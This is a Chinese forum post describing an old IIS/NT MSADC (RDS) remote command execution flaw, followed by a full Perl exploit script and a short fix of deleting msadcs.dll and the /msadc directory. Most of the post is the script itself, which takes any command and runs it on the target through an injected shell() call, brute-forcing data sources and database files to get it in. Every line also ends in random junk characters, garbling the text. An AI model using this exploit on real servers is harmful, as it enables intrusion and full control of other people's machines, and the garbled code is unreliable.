社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 166898阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Ngm/5Lc  
rvb@4-i>iI  
涉及程序: |H 5$VSw  
Microsoft NT server oj ,;9{-  
Fa#5a'}I  
描述: $lUz!m jG  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 #wh[F"zX  
a 5w E{K  
详细: kpQN>XV#  
如果你没有时间读详细内容的话,就删除: OE}c$!@  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ?]TtUoY=)F  
有关的安全问题就没有了。 r -uu`=,  
jHx\YK@e\  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 lg^Lk\Y+re  
_skE\7&>X  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 7Q&S [])  
关于利用ODBC远程漏洞的描述,请参看: 3B$|B,  
%PK(Z*>  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm J DOs.w  
4#ifm#  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 eX0 [C0#  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp <LX-},?P  
d%p{l)Hd  
这里不再论述。 Y"m}=\4{  
dw| VH1fS  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 98UI]? 4  
w`zS`+4  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset UyDq`@h  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! }5B\:*yW  
E*+]Iq1u  
v,iq,p)&  
#将下面这段保存为txt文件,然后: "perl -x 文件名" )R"UX:Q>  
zzT4+wy`  
#!perl `2q]ju  
# &m TYMpA  
# MSADC/RDS 'usage' (aka exploit) script >aCY  
# 5R1? jlm  
# by rain.forest.puppy *I k/Vu%;  
# |"eC0u  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me jgfr_"@A  
# beta test and find errors! e&Z ?I2J  
=^)$my\C:  
use Socket; use Getopt::Std; `t g=__D  
getopts("e:vd:h:XR", \%args); > V >GiSni  
%V#? 1{  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 0P;LH3sx  
DMKtTt[}  
if (!defined $args{h} && !defined $args{R}) { JDO n`7!w  
print qq~ +9# qNkP  
Usage: msadc.pl -h <host> { -d <delay> -X -v } "`* >co6r  
-h <host> = host you want to scan (ip or domain) %e+*&Z',  
-d <seconds> = delay between calls, default 1 second |HwEwL+  
-X = dump Index Server path table, if available 7DeBeY  
-v = verbose +zl [C  
-e = external dictionary file for step 5 $3eoZ1q'U-  
VpED9l]y  
Or a -R will resume a command session [ -R[rF  
`SS[[FT$>  
~; exit;} >U]KPL[%  
TA~ZN^xI  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; k#8E9/ t@  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} GB)< 5I  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} w)/~Gn676  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); aT BFF  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} i\o * =+{r  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } CH5>u  
d?/>Qqw:#  
if (!defined $args{R}){ $ret = &has_msadc; SPtx_+ Q)S  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} K4OiKYq  
TW1#'G_#  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" YuoIhT  
. "cmd /c "; `9acR>00$  
$in=<STDIN>; chomp $in; <2O XXQ1  
$command="cmd /c " . $in ; O5*3 qJp  
$A T kCO  
if (defined $args{R}) {&load; exit;} [|(=15;  
$1k@O@F(4  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; <%=<9~e  
&try_btcustmr; D@c@Dt  
s$^2Qp  
print "\nStep 2: Trying to make our own DSN..."; cPg{k}9Tvy  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; y QGd<(  
5>~D3?IAd  
print "\nStep 3: Trying known DSNs..."; OLqynY  
&known_dsn; ^szi[Cj  
lZ) qV!<  
print "\nStep 4: Trying known .mdbs..."; U7-*]ik  
&known_mdb; f#gV>.P;h\  
2_)gJ_kP  
if (defined $args{e}){ sR)jZpmC(  
print "\nStep 5: Trying dictionary of DSN names..."; 9d!mGnl  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } (N`GvB7;  
4Ujy_E?^  
print "Sorry Charley...maybe next time?\n"; ej \S c7.  
exit; @eq.&{&  
& +yo PF  
############################################################################## ;ssI8\LG  
pB7^l|\]  
sub sendraw { # ripped and modded from whisker 4Ofkagg  
sleep($delay); # it's a DoS on the server! At least on mine... ^S!;snhn  
my ($pstr)=@_; xRq A^Ad  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || M6].V*k'2  
die("Socket problems\n"); .sKfwcYu4  
if(connect(S,pack "SnA4x8",2,80,$target)){ /+m2|Ij(  
select(S); $|=1; Jw{ duM;]  
print $pstr; my @in=<S>; #RHt;SFx  
select(STDOUT); close(S);  Af`Tr6)  
return @in; gq="&  
} else { die("Can't connect...\n"); }} o1uM(  
+M<W8KF  
############################################################################## 'c3'eJ0  
B|'}HBkP  
sub make_header { # make the HTTP request D/hq~- g  
my $msadc=<<EOT m!]J{OGG:  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 3 {|]@ L  
User-Agent: ACTIVEDATA DZ9^>`*  
Host: $ip x1Z*R+|>2  
Content-Length: $clen V~do6[(  
Connection: Keep-Alive tjx|;m7  
i>dFpJ  
ADCClientVersion:01.06 jWdZ ]0m  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 p+y"r4   
?F*I2rt#  
--!ADM!ROX!YOUR!WORLD! js% n]$N  
Content-Type: application/x-varg 0;hn;(V]"  
Content-Length: $reqlen '"'RC O  
$KlaZ>D h  
EOT dEW= V"W  
; $msadc=~s/\n/\r\n/g; mmy/YP)  
return $msadc;} jINI<[v[  
)UyJ.!Fly  
############################################################################## '6L@l  
zMd><UQP{  
sub make_req { # make the RDS request %Hhk 6tR,  
my ($switch, $p1, $p2)=@_; 8]rObT9>  
my $req=""; my $t1, $t2, $query, $dsn; RF~G{wz  
0?O_]SD  
if ($switch==1){ # this is the btcustmr.mdb query c:<a"$  
$query="Select * from Customers where City=" . make_shell(); Z$zX%w  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . <5}j(jxz}  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} : t /0  
V/zmbo)  
elsif ($switch==2){ # this is general make table query hFxT@I~  
$query="create table AZZ (B int, C varchar(10))"; {SD%{  
$dsn="$p1";} ekqS=KfWl;  
e>bARK<  
elsif ($switch==3){ # this is general exploit table query ~ H/ZiBL@  
$query="select * from AZZ where C=" . make_shell(); p"j &s  
$dsn="$p1";} (!YJ:,!so  
M}q;\}  
elsif ($switch==4){ # attempt to hork file info from index server Y/T-q<ag8  
$query="select path from scope()"; fzvyR2 I  
$dsn="Provider=MSIDXS;";} OXn-!J90P  
O,S>6o)?  
elsif ($switch==5){ # bad query (]PH2<3t  
$query="select"; ;' H\s  
$dsn="$p1";} [JV?Mdzu  
4t3>`x 7  
$t1= make_unicode($query); s!>9od6^  
$t2= make_unicode($dsn); Kf_xKW)^  
$req = "\x02\x00\x03\x00"; 7PBE(d%m  
$req.= "\x08\x00" . pack ("S1", length($t1)); \,r* -jr  
$req.= "\x00\x00" . $t1 ; ]Tg@wMgI  
$req.= "\x08\x00" . pack ("S1", length($t2)); 2 )3oX  
$req.= "\x00\x00" . $t2 ; %5nEyZOq  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; v>N*f~n  
return $req;} Wu(^k25  
AWssDbh/[  
############################################################################## 8=zREt<Se  
oXN(S:ZF  
sub make_shell { # this makes the shell() statement iyXd"O  
return "'|shell(\"$command\")|'";} &xGpbJG  
#M5d,%?+#[  
############################################################################## @u: `  
w~Nat7nD  
sub make_unicode { # quick little function to convert to unicode 7S=,#  
my ($in)=@_; my $out; TQ0ZBhd  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Of-xGo YZ  
return $out;} S.q0L  
 yK$aVK"  
############################################################################## b#R$P]dr=  
'hV(1Mw  
sub rdo_success { # checks for RDO return success (this is kludge) Upcx@zJ  
my (@in) = @_; my $base=content_start(@in); #,1z=/d.  
if($in[$base]=~/multipart\/mixed/){ 1&<o3)L:  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} axq~56"7E  
return 0;} aAG']y  
k GYsjhL\d  
############################################################################## lnm@DWhf  
O'{kNr{u  
sub make_dsn { # this makes a DSN for us lnLy"f"zV  
my @drives=("c","d","e","f"); 9Oo`4  
print "\nMaking DSN: "; GlRjbNW?Q  
foreach $drive (@drives) { yPs6_Qo!p  
print "$drive: "; >Gk<a  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 5SmJ'zFO  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" *ZFF$0}  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); iHK.hs;  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; P#`M8k  
return 0 if $2 eq "404"; # not found/doesn't exist }pnp._j  
if($2 eq "200") { z( }w|  
foreach $line (@results) { u3E =r  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} <5P*uZ  
} return 0;} 5h0Hk<N  
tE <?L  
############################################################################## Ei\>gXTH1-  
l&:8 'k+%=  
sub verify_exists { iA[o;D#  
my ($page)=@_; @+Sr~:K  
my @results=sendraw("GET $page HTTP/1.0\n\n"); -KH"2q  
return $results[0];} o?j8"^!7  
mg@Ol"2  
############################################################################## (@qS  
N:'!0|6?x-  
sub try_btcustmr { C=v+e%)x@  
my @drives=("c","d","e","f"); +v:]#1  
my @dirs=("winnt","winnt35","winnt351","win","windows"); vqO#Z  
dNF_ T?E\  
foreach $dir (@dirs) { 4;r,U{uR  
print "$dir -> "; # fun status so you can see progress %<[{zd1C-  
foreach $drive (@drives) { ~(huUW  
print "$drive: "; # ditto lSO$Q]!9  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; YRr,{[e  
$reqlenlen=length( "$reqlen" ); 'mTY56Yq  
$clen= 206 + $reqlenlen + $reqlen; o?Cc  
2N]8@a  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); UK1)U)*+  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} -3azA7tzz  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} j3T)gFP  
MPy>< J  
############################################################################## M_.Jmh<&&  
m%>}T 75C^  
sub odbc_error { v+`'%E  
my (@in)=@_; my $base; .XiO92d9  
my $base = content_start(@in); vyB{35p$  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this (v|<" tv  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $p&eS_f  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3dLqlJ^7B  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +`>E_+Mp  
return $in[$base+4].$in[$base+5].$in[$base+6];} (C"q-0?n  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Xw<;)m  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . n:) [ %on  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} GKSF(Tnj  
KG9-ac  
############################################################################## OVU)t]  
dv3u<XM~  
sub verbose { VBF:MAA  
my ($in)=@_; {;& U5<NO  
return if !$verbose; Y~A I2HS  
print STDOUT "\n$in\n";} }1~9i'o%Z  
#N >66!/V  
############################################################################## js"5{w&  
)oz2V9X{  
sub save { &GJVFr~z  
my ($p1, $p2, $p3, $p4)=@_; J:>o\%sF  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; |YyNqwP`,  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; J'7;+.s(  
close OUT;} GEh(pJ  
XM*5I 4V  
############################################################################## vM5/KrW  
% XZ&(  
sub load { /IJy'@B  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ilHf5$  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); &z:bZH]DH  
@p=<IN>; close(IN); NCG;`B`i  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 92A9gY  
$target= inet_aton($ip) || die("inet_aton problems"); 8wOscL f:  
print "Resuming to $ip ..."; <OKc?[  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ag47$9(  
if($p[1]==1) { alHA&YC{K  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 3W_7xLA  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; cSV&p|  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); nXoDI1<[  
if (rdo_success(@results)){print "Success!\n";} 5;p|iT  
else { print "failed\n"; verbose(odbc_error(@results));}} S7nx4c2xK~  
elsif ($p[1]==3){ -.8K"j{N  
if(run_query("$p[3]")){ |pWu|M _'  
print "Success!\n";} else { print "failed\n"; }} t&q~ya/C  
elsif ($p[1]==4){ m*N8!1Ot  
if(run_query($drvst . "$p[3]")){ ~n%Lo3RiP  
print "Success!\n"; } else { print "failed\n"; }} Ng*-Bw)p]  
exit;} LD5`9-  
|m"Gr)Gm  
############################################################################## j3/6hE>  
x4L3Z__  
sub create_table { q{f\_2[  
my ($in)=@_; >(.|oT\Tb  
$reqlen=length( make_req(2,$in,"") ) - 28; =#y;J(>~|  
$reqlenlen=length( "$reqlen" ); jG;J qT  
$clen= 206 + $reqlenlen + $reqlen; {cIk-nG -_  
my @results=sendraw(make_header() . make_req(2,$in,"")); ,(K-;Id4  
return 1 if rdo_success(@results); 0;">ETh=  
my $temp= odbc_error(@results); verbose($temp); 0:u:#))1  
return 1 if $temp=~/Table 'AZZ' already exists/; Bl8|`R^g  
return 0;} y2s(]# 8  
j=M%*`@  
############################################################################## JW^ ${4  
7g+T  
sub known_dsn { oe 6-F)+  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go QkD ~  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 0!0e$!8l  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 7kE+9HmfMk  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); S\A0gOL^  
xRXvTNEg  
foreach $dSn (@dsns) { un-%p#  
print "."; H{=G\N{  
next if (!is_access("DSN=$dSn")); EC[]L'IL  
if(create_table("DSN=$dSn")){ :adz~L$  
print "$dSn successful\n"; 2z;3NUL$n  
if(run_query("DSN=$dSn")){ WlvT&W  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { js <Up/1  
print "Something's borked. Use verbose next time\n";}}} print "\n";} @_-,Q5  
-k8sR1(  
############################################################################## =d^hiR!GN  
(&/4wI^M  
sub is_access { l9a81NF{s  
my ($in)=@_; zm5Pl G  
$reqlen=length( make_req(5,$in,"") ) - 28; ,-E'059  
$reqlenlen=length( "$reqlen" ); #!UJY%c ~  
$clen= 206 + $reqlenlen + $reqlen; q6C`hVM l  
my @results=sendraw(make_header() . make_req(5,$in,"")); t^YtP3`?b  
my $temp= odbc_error(@results); {%9@{Q'T.s  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); *p\Zc*N;%  
return 0;} Kd+E]$F_OH  
K2xHXziQ  
############################################################################## : q%1Vi  
<iU@ M31  
sub run_query { np6G~0Y`  
my ($in)=@_; 0,DrVGa  
$reqlen=length( make_req(3,$in,"") ) - 28; ^ IuhHP  
$reqlenlen=length( "$reqlen" ); a?r$E.W'&  
$clen= 206 + $reqlenlen + $reqlen; !s1<)%Jt  
my @results=sendraw(make_header() . make_req(3,$in,"")); Qr~!YPK\  
return 1 if rdo_success(@results); FVrB#Hw~  
my $temp= odbc_error(@results); verbose($temp); nf"#F@dk  
return 0;} +<[q"3  
PN]hG,q*4O  
############################################################################## E\s1p: %  
2!B|w8ar  
sub known_mdb { Q}lCQK/g  
my @drives=("c","d","e","f","g"); f7Nmvla[q  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Ul]7IUzsu  
my $dir, $drive, $mdb; `j)56bR  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; W5`pQdk  
?VE'!DW  
# this is sparse, because I don't know of many l_:P |  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Nr>UZlU8  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", b:Zh|-  
"\\system32\\certmdb.mdb", c]#}#RJ`\  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 1aRTvaGo  
W& 0R/y7  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", +O 7( >a  
"\\cfusion\\cfapps\\forums\\forums_.mdb", *|\bS "  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", bs ~P  
"\\cfusion\\cfapps\\security\\realm_.mdb", C@`#@1X  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", rmkBp_i{|  
"\\cfusion\\database\\cfexamples.mdb", K\U`gTGc  
"\\cfusion\\database\\cfsnippets.mdb", IMqe(  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", {*GBUv5  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", |*g#7 YL  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Y3:HQ0w`|  
"\\cfusion\\database\\smpolicy.mdb", W)Y`8&,  
"\\cfusion\\database\cypress.mdb", aXVldt'  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", WcKDerc  
"\\website\\cgi-win\\dbsample.mdb", qX-5/;n  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", `IwZVz  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ~//9Nz~;3  
); #these are just l%GArH`  
foreach $drive (@drives) { ~$T>,^K y  
foreach $dir (@dirs){ aQx6;PC  
foreach $mdb (@sysmdbs) { /Ls|'2J<$  
print "."; zu @|"f^`  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 95@u|#n  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; hjg1By(  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ .p e3L7g  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Q34u>VkdQI  
} else { print "Something's borked. Use verbose next time\n"; }}}}} gF)-Ci  
`f~bnL  
foreach $drive (@drives) { MSM8wYcD  
foreach $mdb (@mdbs) { B;=Z^$%T  
print "."; }a5TY("d9H  
if(create_table($drv . $drive . $dir . $mdb)){ y<- ]'Yts  
print "\n" . $drive . $dir . $mdb . " successful\n"; gtMR/P:S  
if(run_query($drv . $drive . $dir . $mdb)){ Fik ;hB  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; "0;WYw?  
} else { print "Something's borked. Use verbose next time\n"; }}}} A)n_ST0  
} k0V]<#h87  
r7R'beiH  
############################################################################## z3S"1L7  
=h-E N_[  
sub hork_idx { \D z? h  
print "\nAttempting to dump Index Server tables...\n"; /FXvrH(  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; F6yFKNK!n  
$reqlen=length( make_req(4,"","") ) - 28; pI K:$eN!/  
$reqlenlen=length( "$reqlen" ); fG>3gS6&  
$clen= 206 + $reqlenlen + $reqlen; *Ts$Hj[  
my @results=sendraw2(make_header() . make_req(4,"","")); "QXnE^  
if (rdo_success(@results)){ kK4 a;j.#  
my $max=@results; my $c; my %d; -avxH?;?7  
for($c=19; $c<$max; $c++){ >e6OlIW  
$results[$c]=~s/\x00//g; ]h`*w  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 18F}3t??  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; q9ra  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 5"57F88Y1  
$d{"$1$2"}="";} =bD.5,F)  
foreach $c (keys %d){ print "$c\n"; } ya~;Of5  
} else {print "Index server doesn't seem to be installed.\n"; }} nsi? .c&0!  
Ojl X<y.  
############################################################################## E%v0@  
au50%sA~  
sub dsn_dict { nrev!h  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); s1cu5eCt  
while(<IN>){ \w1XOm [)  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; `x _(EZ  
next if (!is_access("DSN=$dSn")); Psx"[2iZm  
if(create_table("DSN=$dSn")){ NCi~. I  
print "$dSn successful\n"; >&+V[srfD  
if(run_query("DSN=$dSn")){ LBD],Ba!  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Jb*QlsGd  
print "Something's borked. Use verbose next time\n";}}} %p)&mYK{  
print "\n"; close(IN);} -( p%+`  
gkxHfm  
############################################################################## *l =f=  
\f4rA?+f  
sub sendraw2 { # ripped and modded from whisker (kY  0<  
sleep($delay); # it's a DoS on the server! At least on mine... S"G(_%  
my ($pstr)=@_; uQ_C<ii"W  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || s&V sK#  
die("Socket problems\n"); 7/hn%obC  
if(connect(S,pack "SnA4x8",2,80,$target)){ YL|)`m0-^5  
print "Connected. Getting data"; 084Us s  
open(OUT,">raw.out"); my @in; J7",fb  
select(S); $|=1; print $pstr; Yu" Q  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} oCkG  
close(OUT); select(STDOUT); close(S); return @in; #3_g8ni5X  
} else { die("Can't connect...\n"); }} 9VTAs:0D=  
EQ^]W-gN  
############################################################################## s/hWhaS<  
l+2NA4s  
sub content_start { # this will take in the server headers P]^OSPRg  
my (@in)=@_; my $c; !Q~>)$Cf^  
for ($c=1;$c<500;$c++) { b6k_u9m^E  
if($in[$c] =~/^\x0d\x0a/){ )s:kQ~+  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } |0}Xb|+  
else { return $c+1; }}} T\p>wiY2|F  
return -1;} # it should never get here actually `!N}u  
? Pi|`W   
############################################################################## 5%9Uh'y#  
Go c*ugR  
sub funky { uZL,%pF3A  
my (@in)=@_; my $error=odbc_error(@in); K!9K^h  
if($error=~/ADO could not find the specified provider/){ /77cjesZ9  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; S[$9_Jf  
exit;} _PPC?k{z!  
if($error=~/A Handler is required/){ j$_?g!I=gK  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^cPVnl  
exit;} &S+*1<|`K  
if($error=~/specified Handler has denied Access/){ D1-w>Y#  
print "\nServer has custom handler filters (they most likely are patched)\n"; pm=O.)g4`  
exit;}} Ag\RLJ.KD  
RjviHd#DXn  
############################################################################## M/.M~/ ~  
v4Ag~Evcx  
sub has_msadc { {:"<E?+  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); vzfMME17  
my $base=content_start(@results); 25`W"x_  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); N}VoO0I  
return 0;} 53aJnxX  
q['D?)sy  
######################## {9Qc\Ij  
-6-rX D  
Ww8U{f  
解决方案: T'7>4MT(  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll jEQ_#KKYJ  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 j}Svb1A  
3O*iv{-&  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八